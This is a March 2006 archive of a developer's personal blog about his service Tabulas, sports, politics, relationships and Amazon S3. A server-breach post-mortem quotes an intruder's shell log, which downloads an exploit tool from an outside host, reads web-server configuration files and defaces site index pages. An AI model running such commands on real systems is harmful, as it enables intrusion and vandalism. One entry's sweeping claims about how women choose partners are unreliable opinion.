Entries for March, 2006

Tonight I implemented the new global comment spam filters. A few weeks ago, I had built some internal tools that let me quickly track and delete comment spam. Being a reactive stopgap, I knew I would eventually have to build some sort of preventive filter to stop comments from even getting into journals.

And so this week I commited myself to building the new comment spam filter. And I think it's done.

Fortunately for me, comment spam is localized to a few specific keywords: viagra, cialis, vicodine, xanax, zoloft, casino, blackjack, backgammon, hgh, and a few more I can't remember off the top of my head.

Again, fortunately, these are only being posted by guests. Because I don't have the resources (both time, expertise, and server power) to build a "true" Bayesian filter, I've built a rather basic implementation that simply does a keyword check against known "flag" words that I predefine (in future iterations of the spam filter, users will be able to flag comments as spam and delete, which should send the comment to a script which determines keywords with high probability of being associated with spam).

If you're a guest, posting a comment, and you have flag words in your comment, guest name, or in the link, you will *then* be prompted with a captcha.

A captcha (completely automated public Turing test to tell computers and humans apart) is one of those "please input the letters from the following image" type tests, like so:

I absolutely HATE captchas. HATE HATE HATE. I have failed some of those tests repeatedly (which I guess makes me a computer) which is incredibly frustrating. I even posted a joke captcha a while ago:

In any case, I decided to bite the bullet and implement the most rudimentary of all captcha images:

Yes, that is my captcha image. It is mind-numbingly easy to read. Yes, I realized it's very susceptible to screen readers, but if a spammer starts using screen reader, I can simply spend a few hours obfuscating the text a bit then. No need to do premature optimization on the obfuscation, especially since I hate impossible-to-read-captchas.

So basically, anonymous guest posters posting comments with bad spam keywords hit this prompt:

If they pass, then the comment gets posted. Otherwise it's ignored. It's not the most advanced solution, but I'm pretty sure it's going to be enough to cut back on a majority of comment spam as it is - as I keep tuning spam filter, I'm sure I can hit a higher percentage of comments.

So if you see any weird things happening with comments, please let me know.

Currently listening to: Leona Naess - Calling
Posted by roy on March 2, 2006 at 01:30 AM in Web Development, Tabulas | 9 Comments

My parents have been asking me for the past year to convert all our old VHS to a digital format (and I guess also DVD). Me, I'm not so sure I want to ensure the survival of tapes that so readily document the ackwardness of my youth ... but my parents promised to pay for all the equipment that would be required in this get-up, so I readily agreed.

Fortunately for me, Woot was recently selling the Adaptec USB 2.0 MPEG-2 Video Converter, which turned out to be perfect for the job.

I got the sucker in the mail today, so I decided to try a test run tonight and see if this thing would work.

Set-up was amazingly simple - I simply plugged in the converter into the wall, plugged it in to the VHS, installed some software, and pressed "record" (in the bundled software)... and voila, record!

I'm currently recording my first VCD (I can also make DVDs with menus and stuff, but I'll save that for later ...

So for all of you people who are looking to convert your VHS into DVDs (or VCDs), find yourself an Adaptec, or you can just borrow mine (if you live close to me).

I'll post more on this later as I actually create the files rather than just record them.

Posted by roy on March 2, 2006 at 10:19 PM in Ramblings | 4 Comments

Chris once told me that I have an addictive personality. I didn't know exactly what it meant at the time (I mistakenly thought that people became "addicted" to me... oh what a blow to an ego finding out the truth was...), but it becomes clearer with time that basically it means I'm a psycho.

I'm not sure how well I hide it, but I'm a completely neurotic figure. I'll go on these random binges of whatever captures my interest in the short-term ... my life has been defined by these little storms of activity.

I found myself at 5am ... cleaning. It started off first with taking out all the old coke bottles and taking the trash out of my room. Then I decided to reorganize the cables on the far table in my room. Then I decided to reorganize the cables under my computer desk. And then, well you can imagine... it became a full-blown clean-fest in my room.

I'm not sure how many guys do this, but I have a "box." You know how guys refuse to clean out their wallets because of the sentmental value of receipts? My box is a larger version of that (although I don't put receipts in there - I noticed that receipts tend to fade after a few years, which really sucks. This "box" generally contains items of sentimental value to me - birthday cards I've received in the past, photos with friends, past relationship stuff, letters, trinkets of memorable value (from a trip, for example) etc. Every item in my box has a story with it, and I generally have a good enough memory to remember the story and my mentality towards the world at that time. I ended up spending about twenty minutes going through that box and reliving the past, and it made me feel good. (Speaking of which, how many guys also do this?)

It was much needed, because things haven't been too well lately - but it's nothing obvious. In the past, I always could pin it on something - whether it was stress from the job, or personal problems with people, or just an unhappiness with where my life was going ... but I can no longer put my finger on it. There's just an undercurrent of uneasiness right now ...

In any case, I'm not really sure why I'm writing this post. It seems to serve less of a purpose than the usual crap I post. Oh well, it's time to get started for work now!

Have a wonderful Friday, everybody!

Posted by roy on March 3, 2006 at 05:36 AM in Personal | 8 Comments

I found wisdom in an interview between Bill Simmons (the Sports Guy) and Malcolm Gladwell (author of "Blink"):

The (short) answer is that it's really risky to work hard, because then if you fail you can no longer say that you failed because you didn't work hard. It's a form of self-protection. I swear that's why Mickelson has that almost absurdly calm demeanor. If he loses, he can always say: Well, I could have practiced more, and maybe next year I will and I'll win then. When Tiger loses, what does he tell himself? He worked as hard as he possibly could. He prepared like no one else in the game and he still lost. That has to be devastating, and dealing with that kind of conclusion takes a very special and rare kind of resilience. Most of the psychological research on this is focused on why some kids don't study for tests -- which is a much more serious version of the same problem. If you get drunk the night before an exam instead of studying and you fail, then the problem is that you got drunk. If you do study and you fail, the problem is that you're stupid -- and stupid, for a student, is a death sentence. The point is that it is far more psychologically dangerous and difficult to prepare for a task than not to prepare. People think that Tiger is tougher than Mickelson because he works harder. Wrong: Tiger is tougher than Mickelson and because of that he works harder.


. . .

Really digging Yellowcard's latest effort. A snippet from "Lights and Sounds," their first single:

Stop, turn, take a look around,
at all of the lights and sounds,
let them bring you in.
Slow burn, let it all fade out
and pull the curtain down,
wonder where you've been.

Make it new but stay in the lines,
just let go, but keep it inside,
smile big for everyone,
even when you know what they've done.
They gave you the end but not where to start,
not how to build, how to tear it apart,
So tell it all and fill up the air,
but make it loud 'cause nobody's there.

A good song about the expectations heaped upon our generation, and how it leads us to be distracted from the present. Dig.

Currently listening to: Yellowcard - Lights and Sounds
Posted by roy on March 4, 2006 at 12:16 AM in Ramblings | 5 Comments

North Carolina 83, Duke 76.

The one thing I feel bad for teams that play against North Carolina is the fact that Tyler Hansbrough does not factor in to the team's RPI in any way. I propose that RPI system should also factor in whether you play Tyler Hansbrough. I think this is only fair ... I mean, how do you stop this kid???? You can't stop him inside the paint, you can't foul him, and you can't leave him unguarded behind the arc (as he so eloquontly showed us at the 3:13 mark).

But who is the real hero behind tonight's game? Marcus Ginyard. Jeez, that kid did not give JJ a break, and he managed to get some offensive production. Did you see him run the floor?????

Posted by roy on March 4, 2006 at 09:40 PM in Sports | 1 Comments

Item #5,821 of things that make me happy: Looking back at older pictures in gatherings/trips of past and seeing smiles among friends.

Time seems to fly. I was going through and annotating my images from 2006 thus far. This past weekend, I hosted a dinner party (one of many in the future, I hope) with excellent food (if I may say so myself). I then realized that so far in '06 I've gone to Atlanta and held a dinner party; there's a beach trip at the end of March as well.

2005 was pretty eventful as well; the end of '05 was my Richmond - NYC - Boston road trip, as well two mountain trips - one in October, the other in April.

I guess I realized that although I feel like a homebody, I do get to travel a moderate amount, so I really shouldn't complain.

This is to hoping that '06 has lots of fun stuff ahead for me :)

Currently listening to: Big Runga - Sway
Posted by roy on March 6, 2006 at 12:37 AM in Ramblings | 4 Comments

A quick follow-up that made me totally laugh out loud this morning.

The new USA Today/ESPN polls came out for college hoops: not surprisingly, UConn came in #1, Duke at #3, and UNC at #10. But here's the funny part:

There are 31 coaches who vote for first place. UConn got 30 of them ... guess who got the last vote for #1? (parenthesis by the team name indicates first place votes)

One of these guys has a sense of humor:

The USA TODAY/ESPN Board of Coaches is made up of 31 head coaches at Division I institutions. All are members of the National Association of Basketball Coaches. The board for the 2005-06 season: Dana Altman, Creighton; Tevester Anderson, Jackson State; Eddie Biedenbach, North Carolina-Asheville; Jim Boeheim, Syracuse; Rick Byrd, Belmont; Charlie Coles, Miami (Ohio); Barry Collier, Nebraska; Dick Davey, Santa Clara; Fran Dunphy, Pennsylvania; Mick Durham, Montana State; Rob Evans, Arizona State; Steve Fisher, San Diego State; Pat Flannery, Bucknell; Greg Graham, Boise State; Tom Green, Fairleigh Dickinson; David Henderson, Delaware; Johnny Jones, North Texas; Eddie McCarter, Texas-Arlington; Bob McKillop, Davidson; Phil Martelli, Saint Joseph's; Ron "Fang" Mitchell, Coppin State; Joe Mihalich, Niagara; Dan Monson, Minnesota; Dave Odom, South Carolina; Doc Sadler, Texas-El Paso; Bob Thomason, Pacific; Jimmy Tillette, Samford; Perry Watson, Detroit Mercy; Gary Williams, Maryland; Ted Woodward, Maine; Rich Zvosec, Missouri-Kansas City
Posted by roy on March 6, 2006 at 12:59 PM in Sports | 2 Comments

i know html: how to meet ladies

Via Flickr, I don't know where they sell this shirt.

Currently listening to: Tupac Shakur - Gangsta Party
Posted by roy on March 6, 2006 at 05:40 PM in Foolishness | 11 Comments

Kirby Puckett, the lovable baseball player, passes away, and the whole day all you have is a big stupid ol' picture of Barry Bonds regarding his 'roids use? ESPN.com, you guys sucks. Give some respect to one of the last lovable baseball players. Hell, I wasn't even a baseball fan (at any point in my life), and I liked him.

Kirby, you'll be missed.

Currently listening to: OMC - How Bizarre
Posted by roy on March 8, 2006 at 04:26 AM in Sports | 4 Comments

Some morning snippets:

Looks like AOL Instant Messenger is allowing equal signs back in profiles. <sarcasm> What a great effort by AOL in only taking a month or so to fix a trivial bug </sarcasm>

. . .

Windows has a new search engine portal out at Live.com; I am really loving some parts of it and really hating most of it.

Here is a list of pros:

  • It works in both IE and FF! Yay! Cross-browser compliance rocks!
  • It's using heavy Ajax (but this is also a con, see below)
  • It's pretty simple-looking for a MS site
  • I LOVE the no-pagination for search results - I hate pagination with a PASSION. What's awesome is as you scroll through the results, your URL location will automatically update so it's JUST like a hardlink - I've been wishing GMaps would do this for the longest time (I hate right clicking the "Link to this page" option). It just makes no sense why sites would add another UI element when people already understand the concept of the browser's URL field. Great JOB here! (Also, speaking of no-pagination, there's a cool app called Flickr Leech which creates one-page of all the interesting images from one day. I love it)
  • Built-in feeds = nice, but it doesn't seem powerful enough to make me want to replace Bloglines

A list of cons:

  • I'm going to mark this up as a "this is an early release" issue, but the UI is a horrible mess. It literally took me (the webpage maker) a few minutes to figure out what Windows Live actually is.
    • It's not entirely clear that this site is a search/portal - the first mistake was using the Microsoft Windows flag logo ... I thought this site had something to do with Windows. It took me a while to dissociate the site from Windows - why even bother branding it to Windows? It's just confusing.

    • Huh? Are you sure this is what you want visitors to read this first?

      It certainly doesn't help that the HUGE text that draws your eyes says: "Make live.com yours: We've picked some stuff to get you started, uncheck anything you don't want." How awesomely vague with the great abundance of pronouns as well as words that mean nothing ("anything"). They might as well have said: "Gooboodeejar: Fah la la bork bork." At least I woudl have gotten a laugh out of that. How about something more relevant like: "Personalize your live.com homepage: We've got some options to help manage your web browsing - customize your options on the right". Or something. It's too early for me to think clearly about wordsmithing.

    • The return of the pseudo-Clippy

      I thought Microsoft had learned its lesson from Clippy, but Live seems to want to popup random messages informing me that certain input boxes can be used... wow, really? If you're going to restyle common UI elements like input boxes, you shouldn't have to put a popup box next to it; either make the styling clear that it's an input box, or don't style it.

    • So... can I actually click these checkboxes, or are they like a Web 2.0 way of telling me what features this site offers?

      This is related - now I know having Apple UI envy is clearly a Web 2.0 obsession, and I think it's a relatively good one ... but why are people SO obsessed with replacing common input elements? Checkboxes, select menus, input forms... clearly Live.com wants to completely reinvent the <INPUT> forms. How about worry about form first? The site is confusing without me really knowing if those checkboxes are pretty graphical things or actually functional.
    • The click targets are really confusing. Pop-quiz: identify what is clickable in this screenshot:
      Apparently the icons themselves are clickable, while the text underneath it is not. And clicking "more" launches a new window of that items, except when there's a "Windows Live" add button, which if you click loads some window on the top of the page ... (did I lose you? Yeah, I got pretty lost, too). I mean, I understand that hyperlinks are so Web 1.0, but it'd be nice if I didn't have to hover over ever bit of text with my mouse to see if it's a link.

Overall, this has probably been the most impressive web-offering from MS. Now let's see how long before they start trying to cross-promote all their other stuff on there ...

Currently listening to: Stroke 9 - little black backpack
Posted by roy on March 8, 2006 at 05:35 AM in Ramblings | 3 Comments

This article sums up my feelings on Microsoft and Apple so well ... give it a read.

To expand on this, I had dinner with Borst tonight after the Chapel Hill Blogger's Meetup where we talked about software development. There is a great site called, "Why should I care what color the bikeshed is?" which describes a general problem in management (and software development).

The problem is this:

Parkinson shows how you can go in to the board of directors and get approval for building a multi-million or even billion dollar atomic power plant, but if you want to build a bike shed you will be tangled up in endless discussions.

Parkinson explains that this is because an atomic plant is so vast, so expensive and so complicated that people cannot grasp it, and rather than try, they fall back on the assumption that somebody else checked all the details before it got this far. Richard P. Feynmann gives a couple of interesting, and very much to the point, examples relating to Los Alamos in his books.

A bike shed on the other hand. Anyone can build one of those over a weekend, and still have time to watch the game on TV. So no matter how well prepared, no matter how reasonable you are with your proposal, somebody will seize the chance to show that he is doing his job, that he is paying attention, that he is *here*.

In Denmark we call it "setting your fingerprint". It is about personal pride and prestige, it is about being able to point somewhere and say "There! *I* did that." It is a strong trait in politicians, but present in most people given the chance. Just think about footsteps in wet cement.

Apple is effectively of the mindset that they know best, where as Microsoft is of the mindset that their customers know best. There are benefits to both (I don't feel like writing a full-fledged post on this yet), and it's fascinating to talk endlessly about the pros and cons of both systems.

Working at the startup, I've seen this issue come up firsthand. My bosses are very details-oriented people (which is fantastic), but I've seen us go back and forth on certain things where I really think both are right (especially for UI stuff) ... sometimes I wonder why so much time was spent just detailing this one topic, when there are bigger problems which would benefit from that type of feedback from everybody.

This topic has been touched on a few times, most notably by 37signals in their forget feature requests. Personally, I've found that if you explicitly ask for problems or feaure requests, most oftentimes they are (a) too specific to one user group or (b) already implemented or in the process of being implemented.

I guess what I'm trying to say is lately I've been shifting away from the MS method and more towards the Apple method - it takes so much work for me as a sole developer to take into account everybody's requests.

So if you're talking to me and you get the sense that I think I know best for people, I apologize. It's not that I *do* know better, but that I'm in a position to implement certain changes that I feel is for the benefit of the masses, and I find that trying to appeal to everybody is tiring and counterproductive to what I'm doing.

Posted by roy on March 9, 2006 at 03:33 PM in Ramblings | 3 Comments

Dubai Firm Backs Out of U.S. Ports Deal.

Recently, a Dubai firm launched a bid to buyout a London firm which is responsible for six US ports. The xenophobic US government threatened to block the deal, while Bush threatened to veto any action from Congress that would block the deal. The concern of our short-sighted representatives in Congress, of course, was that because a Dubai firm owned the company, that this would somehow facilitate terrorism.

The two-facedness of our Congress makes me so angry. On one hand, they espouse the values of free markets and how important opening up trade with new countries is for peace. Then they go and threaten to block a bill based on racism.

I can't believe lifelong politicians are so short-sighted; what kind of message are we really sending the world? We're acting like spoiled untrusting children who want the world to respect us while we act like little brats. Given the battering of our national prestige, you'd think our government would be making efforts at amending our relations rather than driving a big, shiny stake between them.

I would have liked to see a showdown between Bush and Congress - it would have been nice (for once) to see Bush out of step with the Republicans and to make a stand on his own.

In general, the way our government is approaching other nations scares me. We're quickly turning into a nation where we fear any foreigners (good thing we're not a nation of immigrants!) and assume they're here to do something evil. It seems that people, when given a voice, want to make America into some exclusive club where nobody can enter ... but hey, we're "protecting" our way of life!


Since I figure nobody is reading this, I'll write up a few snippets on my personal political views on various issues.

Abortion: I never feel comfortable making decisions about women, so I'm glad I'm really not in any position of power to do so. Basically I've come to the conclusion that abortion should be legal, but that I personally don't believe in it. If confronted with a woman who I knew had an abortion, I would honestly probably think lesser of that person. I really don't like the way Americans are starting to look to the government as some sort of moral authority figure - that was never the role of government, that is the role of church. The role of the government is not to make our moral decisions for us, but to provide security for our nation (both internationally and domestically) as well as enforce the social contracts among the people; the government must strive to protect the rights of the minorities and to make sure the playing field is equal (on a legal basis).

Drugs: Why is it a crime to do drugs? I can understand if Congress is acting out with some laws in some twisted scheme to protect the cotton industry, but why are we throwing citizens in jail for doing drugs in the privacy of their own home? At the very most, drugs should results in a monetary fine (the same way we penalize speeding) - I see them both in a similar light. Both are conscious decisions one makes, and both could threaten the lives of others in certain circumstances (in fact, I'd probably gander that speeders are more of a danger than recreational drug users). Much like abortion, my personal beliefs differ here - I've never taken drugs (although I've been in the company of various friends who have) simply because I don't want to. But I see absolutely no right for the government to throw people in jail because they made a conscious decision about something they want to do. In any case, why not legalize marijuana and tax it? The US government could make some much-needed revenue lost from the tobacco industry *and* people could toke up in the privacy of their own homes. Who exactly is losing here? Oh right, those nuts who think that the government should be the overriding moral authority in our nation.

Immigation: Why even restrict immigation? People have this messed up notion that if we allow a bunch of people who are willing to come in and work at lower wages, that we somehow aren't "protecting our way of life." This is tangentially related to the US' fascination with "protecting" our airline and steel industries against the evil conspiring nations who are teaming up to destroy "critical" US industries. I think Maddox says it best in regards to immigation (I'm paraphrasing, he's not really not working looking forreal): "If a immigrant thinks he can come in and do my job better at a lower wage, bring it on!" The border patrols in Arizona and New Mexico are flat-out stupid. If Latin Americans want to come into this country, work at a honest wage to make their own lives better, who are we to stop them?

The one overriding desire that all humans share is our longing to be loved, to have children, and to give them a good future. If all nations in the world had a standard of living even remotely close to that of the US, there would be a LOT less conflicts (well, besides the fact that the US is run by a bunch of arrogant pricks who want to run the world, and the fact that nationalistic pricks like the Chinese and Koreans would start wars over pride). Nations only go to war when they have something to lose, so let's give them something that's not worth losing (economic self-worth).

I guess in a sense that last sentence is where I stand when it comes to any geopolitical issues. I do believe in the value of the free market (I am an econ major from a very liberal school), and I do think that history tends to back up the idea that rich countries are less likely to go to war with one another... Thomas Friedman's "Golden Arches" theory still holds true (the theory states that two nations with McDonalds franchises have never gone to war... obviously there's a logical fallacy here [does the McDonald's franchise prevent war from happening, or does McDonald's simply pick nations that are more stable], but the concept is still there).

Ok, this is far too much incoherent rambling for one night. I went out with Han and Borst earlier, and I still think I'm working off some of that buzz ... I know, I'm a lightweight.

Happy Friday, y'all. Go Heels!

Currently listening to: Britney Spears - Toxic
Posted by roy on March 10, 2006 at 03:18 AM in Ramblings | 6 Comments

Here's a collection of events from the server crash (I've been up for a while now, so this will be terse).

Non-technical version:

Someone (not me) left an unpatched piece of software on the server that Tabulas' database is located at. A hacker got in through there messed things up bad. I had to spend last night setting up a new server and moving Tabulas' DB over there. It was partially my fault (this could have been avoided), and I've learned my lesson.

Technical version:

  • Approximately 12 hours ago, the server that the Tabulas database is stored on was hacked. To cut down on costs, I share the server with a mutual acquaintance. He was hosting a friend who was hosting Xoop CMS. Normally this isn't that bad, except the friend had an outdated copy of XML-RPC.php running. This XML-RPC.php had been patched, but apparently my friend's friend didn't take notice.
  • Normally, this isn't bad, as PHP can't execute /var/tmp, but this is also a development server, so /var/tmp *was* set as executable. The hackers installed a bunch of backdoors through the XML-RPC exploit from this site (r0nin and kmod and one more which escapes my memory at the moment). Luckily I was able to track down exactly what they were doing:
    cd /var/tmp
    wget http://xpl.templarteam.org/kmod
    chmod +x kmod
    id;uname -a
    locate httpd.conf
    cat /etc/httpd/conf/httpd.conf
    cd /etc/appliance/apacheconf
    cd /apache
    cd /etc/httpd/conf/virtual
    cat *.* > l.txt
    cat sit* > l.txt
    cat l.txt
    cat l.txt | egrep ServerName
    cd /home
    cd virtual
    cat *.* > ll.txt
    cat ll.txt
    cat * > ll.txt
    echo Simiens Crew 2006 > si.txt
    find /home/virtual -name "index.*" -exec cp si.txt {} ;
  • They basically went through each site and replaced the index.html file. What happened next is a bit fuzzy, but generally the server decided to crap out, completely. So a new order went in last night for a brand spankin' new server (this was on the long-term roadmap, but I decided to move it up since the server was nearly dead already).
  • So I asked my hosting company to set up the old hard drive as a slave on the new hard drive so I coudl transfer files. Except... the old hard drive was an EIDE drive, while the new drives were SATA. And apparently they didn't have extra EIDE controllers lying about.
  • So they installed it through the CD-ROM channel. My mounting skills are sub-par on Linux, so somehow only the boot partition got mounted ...
  • But a little while later, the whole thing was accessible. Then it was just a matter of grabbing the old files, transferring them over to the new server, setting up all the accounts, redirecting all existing *.tabulas sites to use the new database location ...
  • And here I am, exhausted and completely stressed out.

I think I'll sleep now.

I've been meaning to write a really long post on the future of Tabulas, and I think this whole experience'll be a good incentive to do so. Expect a post on that after I wake up from sleeping :)

Currently listening to: Fallout Boy - Dance, Dance
Posted by roy on March 11, 2006 at 05:02 AM in Tabulas | 18 Comments

This entry is the result of a conversation I had with Han when we went out last Thursday. Obviously it's overly general and probably doesn't to many situations. However, it marks a fundamental shift in the way I perceive the world, so I figure it's worth writing about in my journal. Your milieage may vary.

The directionality of crushes and their correlation with relationships is something that's fascinated me for some time. For example, if a girl like a guy, but the guy doesn't return the affection, there is absolutely zero chance that a relationship will happen. If a girl presses the guy, he'll usually just avoid her. However, the opposite way works ... if a guy likes a girl, regardless of how a girl feels, it's only a matter of time (assuming the guy is aggressive) before the girl starts dating the guy.

Why is this? I have (a half-baked) theory. A quote from the excellent TV series from Sports Night sums it up:

Jeremy Goodwin: "I understand what makes a woman think that any man is better than nothing. I'll just never understand what makes a woman think she's got nothing."

Girls (especially those who have graduated) have a deep-seated fear of being single. They're willing to lower their standards. I can think of tons of explicit examples where girls I know have settled for guys they initially didn't think were worth the time of day ... but eventually, realizing that it was them or nothing, they settled. Girls who claim they want to remain single are flat-out lying at this stage of their lives - they're just using that as an excuse to deter the "lesser guys."

"Lesser guys" I'm going to define as passive guys. These are guys who are intelligent, quite nice and considerate, and are very thoughtful of others. But they almost never date. If my postulate above is true ("any given girl will settle with any given guy"), then how is true? Shouldn't nice guys be getting an equal share of the pie? This is somewhat related to the "Yellow Fever" film that was being passed around as a meme a few weeks ago.

"Lesser" guys, by their nature, overthink their situations. They try to factor in how the girl may feel in a given situation, and end up with so many conflicting sides that they end up doing nothing. This is the type of guy, who when he hears that an acquaintance may like the same girl as him, would spend hours analyzing the situation and ending up with an endgame scenario where the ball would be in the girl's court.

And this is where the "lesser" guys fail. Girls, by their nature, have a tendency to choose the most aggressive of guys (because just like height, aggressiveness is implicitly a trait found in "successful" guys) over the passive guys. You can break this rule down simply: "Girls want guys to fight over them." Of course, a girl will never admit this to your face, but given how many relationships I've seen succeed with drama, this seems to be the most common scenario.

Unfortunately, this new mentality flies in the face of the concept of chivalry. For those ladies who wonder what killed chivalry: You did. Your willingness to settle for less forces guys to play a more aggressive game and in general to act more like jerks (since jerks are the ones "fight" for things). Terrence and I had started drafting out a document called the "Codes of Gentlemanly Conduct" at one point which was a somewhat tongue-in-cheek "best practices" document of how to handle yourself when it comes to situations as a guy in today's age. Undoubtedly acting in this aggressive manner would make a lot of rules in that Code complex.

So basically I used to think that when pursuing a girl, it was much better to be discreet and to not pressure the girl - but in retrospect, that is dumb. Guys need to be aggressive, make the girls feel wanted, and quit trying to overanalyze a situation that is generally based on feelings and not rational thought. Of course, this also means that any guy is capable of getting any girl (true), so that's the upside to it.

Currently listening to: Guano Apes - Big In Japan
Posted by roy on March 11, 2006 at 10:32 PM in Ramblings | 5 Comments

Tabulas got moved to a separate database server (it's no longer shared with anybody). Unlike the old DB server, this one has 2GB RAM (up from 512MB) and uses SATA hard drives (instead of EIDE) so iowait should be low. I've been surfing through Tabulas, and it seems LOADS faster. The server's been up for roughly six hours now and it hasn't even GROANED in speed yet. Some fun statistics from mySQL:

  • Bytes sent per hour: 250MB
  • Queries per second: 101.48
  • Open tables: 141
  • Opened tables: 165
  • Key reads: 76314
  • Key read requests: 24601631

I've gotten to be relatively mediocre at modifying my.cnf (mySQL configuration file which handles the memory management), so the configuration is pretty optimal right now. The key reads/key read request ratio isn't quite optimal yet, but it's something I can work on.

mySQL's query caching (yes, I *just* upgraded to mySQL 4.0) seems to be working nicely as well.


Currently listening to: Destiny's Child - Bootylicious
Posted by roy on March 13, 2006 at 01:09 AM in Tabulas | 7 Comments

One year ago today, I started my first full-time job at Mindtouch. How time flies.

Currently listening to: With Broken Wings - A Beautiful Tragedy
Posted by roy on March 13, 2006 at 10:39 PM in Ramblings | 1 Comments

This could be the one event that could shape Tabulas' future indefinitely.

The past service downtime to Tabulas has made one thing painfully clear: I cannot be expected to be a reliable systems administrator on top of developing and maintaining customer support. In a sense, although I can write Tabulas to be scalable, I am not scalable - I cannot simply throw myself at every issue that comes up and be expected to solve them all.

The main cost of running Tabulas per-user is the cost of storage space. Assuming I were to be backing up your static files (which I am not), I'd have to pay roughly $1-2/GB per month (I don't feel like looking this up at EV1Servers right now, but generally I'm paying $150/month for a server that has up to 240GB of storage, which is still realistically only 120GB of storage with backups). This solution would probably use RAID-0, which means it wouldn't protect me from the idiocy of "oops I deleted everything on the main drive and now RAID won't save me."

This is the reason why I can't offer unlimited* (the star, indicating, of course, it's not really unlimited, as other sites do) photohosting. Even ignoring the cost of backing up the file, Tabulas creates three copies of the file (thumbnail, web, and "large" sizes). This means every 60KB image you send nearly doubles in storage space. A long time ago, I decided that if I ever were to backup files, I'd just backup the original storage file; if the image server craps out, I can retrieve the original "big" and regenerate the smaller images (CPU cost is cheaper than the storage cost).

Amazon is now offering a webservice that essentially serves as a large data storage house. They offer redundancy, an easy API to view/delete data, and they offer this at a cost of $0.15/GB for storage and $0.20/GB for transfers (out, I'm presuming).

Since the original images will very rarely be called (only in the case of server failure), I'm being offered a very attractive storage opportunity. Because the system handles the scaling and the redundancy, that's more time that I don't have to spend with server work.

In a sense, this could be what sparks a HUGE increase in storage space for both free and patron Tabulas accounts - I could realistically (I'm doing the math off the top of my head) offer up to 500 images for free users, and up to 5,000 images for patron accounts without breaking a sweat. I would still maintain the front-end servers that do the actual display (because EV1Servers offer bandwidth pricing that is more competitive than Amazon), while the backend storage would be handled by S3.

I love Amazon. Now I need to find someone to write me a PHP class that interacts with S3; anybody up for it? (I can pay, but not well)

. . .

Matt's asked me to link, so I'll do it: Judge Orange County.

Currently listening to: With Broken Wings - A Beautiful Tragedy
Posted by roy on March 14, 2006 at 10:59 AM in Tabulas | 7 Comments

I've been participating in discussion on digg and TechCrunch regarding the new Amazon service S3. I stay generally on top of new sites launching, and never has a service impressed me so much. The year is early, but I think I can safely say that S3 is going to be one of the top offerings of '06, and the best so far (sorry, Google, nothing you've done this year is worthy of that mention, unfortunately). As more developers wrap their heads around the significance of this offering, and toolkits for S3 are released (I'm working on a PHP class that will fully interact with S3 that I'm going to release under a BSD license as soon as I get it done).

S3 is a new service which allows for scaleable file storage. In laymen's terms:

Imagine you have a computer with 40GB hard drive space. Now, filling that capacity is very easy; it's already set-up. But what happens when you want to fill up to 45GB capacity on your computer? Usually you would buy a CD-burner or maybe a USB external hard drive (or if you're really talented, you'll buy a new hard drive). Now, servers don't have the luxury of using CD backups or USB external hard drives because all data needs to be accessible whenever it's asked. The value in Amazon is that not only are you just paying for the storage you pay for ($0.15/gig month), but that I don't ever have to deal with the hassle of "What do I do when I run out of space?" They automatically handle that. On top of that, all my data is redundant, which means that if one of their computers fails, there's another one ready to serve up my data.

I went into the economics of my decision to shift to S3 in my previous post, so you can read that for the cost breakdown. When looking at a service like this, the cost breakdown isn't the only factor that plays in - the monetary gains won't be hugely significant for other developers who run services (I've just been paying out of the ass for storage, that's all). The primary benefit is the fact that you no longer need to maintain a server on your own, and this is a HUGE benefit. Nothing scares me more than finding out one of my servers died, and that nothing was backed up. Furthermore, they also handle the HTTP requests well; if a file gets slashdotted or digged, you don't have to worry that this'll bring the whole network down to its knees. (Amazon also offers a Bittorent option, but I'll discuss this later)

Technical stuff

Now I'll be delving a bit more into the technical details of this service, so feel free to skip this if you're a casual reader.

S3, by itself, means nothing to consumers. This is the largest misunderstanding behind Amazon S3: People saw $0.15GB/month and immediately thought "backups!" Unfortunately, you can only access S3 right now through a virtual gate which only developers know how to access. This means that, for the immediate future, this site means nothing to consumers, but very much to developers (like me).

The pricing structure of Amazon's S3, amusingly, makes it hard to scale a business around the site. Graphically speaking, this is a graph of how costs are distributed on a site like Tabulas (for running your own vs. using Amazon's S3)

In Section A, it is much cheaper to run your own server up to a certain hardware limit (this depends on the cost of hard drives). In keeping with my analogy before, this would be roughly the time spent to fill that initial hard drive. The curve is shifted because you start with a certain amount of space for a given price (fixed cost).

Once you hit a certain break point (which I've reached for Tabulas), your network requires some level of maintenance and hardware support (load balancing, RAID-cards, redundant backups, networked servers), and this is why the costs increase so rapidly for "running your own." Essentially it equates to the fixed costs of owning your own rack. This is exactly where Amazon's price structure excels; I would say up to about 400GB or so, Amazon's price structure works best.

Section B is where Amazon's price structure beats that of running your own network.

Section C is where the fixed costs of setting up your own internal network start returning better gains per-server added. Economically speaking, this is where you've reached economies of scale. This is generally the stage where large corporations can just buy generic components, throw them on a network, change a config file, and have the network operate smoothly.

The downside to Amazon's business is that the costs are linear; if you want to run anything large-scale, you need diminishing costs per capital in the long run.

Basically this is why S3 won't be incredibly useful for backup services, and why services like box.net aren't threatened by this service. However, those sites will be forced to adopt better UIs for uploading (uploading large files to the web is problematic); the value will be in the ease of backup/restoring through the web interface. Also, sites like box.net will probably have to focus more larger account sizes, as I can easily imagine a business model based on S3 that offers personal hosting of roughly 10GB - 20GB (that seems to be the sweet spot in terms of what people want vs. how Amazon's pricing works) that would effectively cannibalize the low-end of the market (more on this later).

Why is this exciting?

I think this is the most significant web launching of 2006. Amazon's effectively created a new market that doesn't threaten any existing markets (this doesn't replace commodity hosting, doesn't threaten the whole online backup market, doesn't replace larger sites with their networks) while offering a great pricing model (pay as you go!). I actually spent last night shifting Tabulas' backend to S3 with much success, and I have to say that it is *very* well done. It's simple, powerful, and does exactly what it advertises.

As my graph shows, Amazon's value lies in that middle section. What does this mean? S3 allows developers to bootstrap without paying large up-front infrastructure costs. Jeff Jarvis has been talking about the "world is getting smaller." I think reading TechCrunch not only shows you the vast number of small firms that are building applications, but how quickly they're deploying. You usually read product histories with lifecycles of 3-6 months. And it's getting shorter. The technological barriers to market entry are getting lower ... now we also have financial barriers to market decreasing.

I can personally say that S3 is going to make MY life easier in terms of managing and maintaining Tabulas - I can continue to focus on product improvements and customer support. I now have PayPal's IPN handling all my billing needs and Amazon will soon be handling the critical backend work. The goal is to stay small and lean ... cut costs and then maybe I can achieve my goals for Tabulas. And don't be thinking I'm the only one who realizes this ... I can assure you right now there are hundreds of developers who are redoing the calculations for infrastructure costs as they try to build a startup. It's getting easier and cheaper to start-up... what an exciting world.

I had two really cool ideas for this service, but I'll save that for the next post. One of the idea is an expansion of the personal backup solution that I think would work well and be priced well, and the other is a podcasting distribution model.

Currently listening to: The Killers - Mr Brightside
